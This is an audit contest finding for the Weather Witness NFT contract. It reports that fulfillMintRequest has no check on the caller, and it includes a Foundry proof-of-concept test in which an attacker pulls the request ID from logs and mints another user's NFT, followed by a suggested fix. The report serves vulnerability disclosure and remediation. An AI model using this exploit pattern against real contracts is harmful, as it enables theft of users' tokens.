Weather Witness
First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Access control non properly implemented on `WeatherNft::fulfillMintRequest` allowing a middleman to steal the NFT of the real requester

franzops

Root + Impact

The access control on WeatherNft::fulfillMintRequest is not properly implemented, allowing any user to call this function and potentially mint an NFT on behalf of another user. This can lead to a situation where a malicious actor can act as a middleman and steal the NFT of the real requester.

Description

The intended workflow of the minting process is divided into two main steps:

  1. The user calls requestMintWeatherNFT providing the parameters for the minting process and the eventual payment.

  2. The user then calls fulfillMintRequest to finalize the minting process.

However, the access control on fulfillMintRequest is not properly implemented, allowing any user to call this function and potentially mint an NFT on behalf of another user. This can lead to a situation where a malicious actor can act as a middleman and steal the NFT of the real requester.

Risk

Likelihood: MEDIUM

  • The attacker need to know the request id but it is easy to find from events.

Impact: HIGH

  • This can allow an attacker to steal an nft that has been request and not yet minted.

Proof of Concept

function test_fulfillMintRequest_Bad_Access_Control () public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter();
​
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
​
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
assert(reqId != bytes32(0));
​
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
​
address attacker = makeAddr("attacker");
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
​
assertEq(weatherNft.ownerOf(tokenId), attacker);
​
}

Recommended Mitigation

Consider adding a check to ensure that the caller of fulfillMintRequest is the same as the original requester. This can be done by storing the requester's address in the request data and checking it in fulfillMintRequest.

function fulfillMintRequest(bytes32 requestId) external {
​
+ require(msg.sender == s_funcReqIdToUserMintReq[requestId].user, "Caller is not the original requester");
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
​
. . .
}
Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.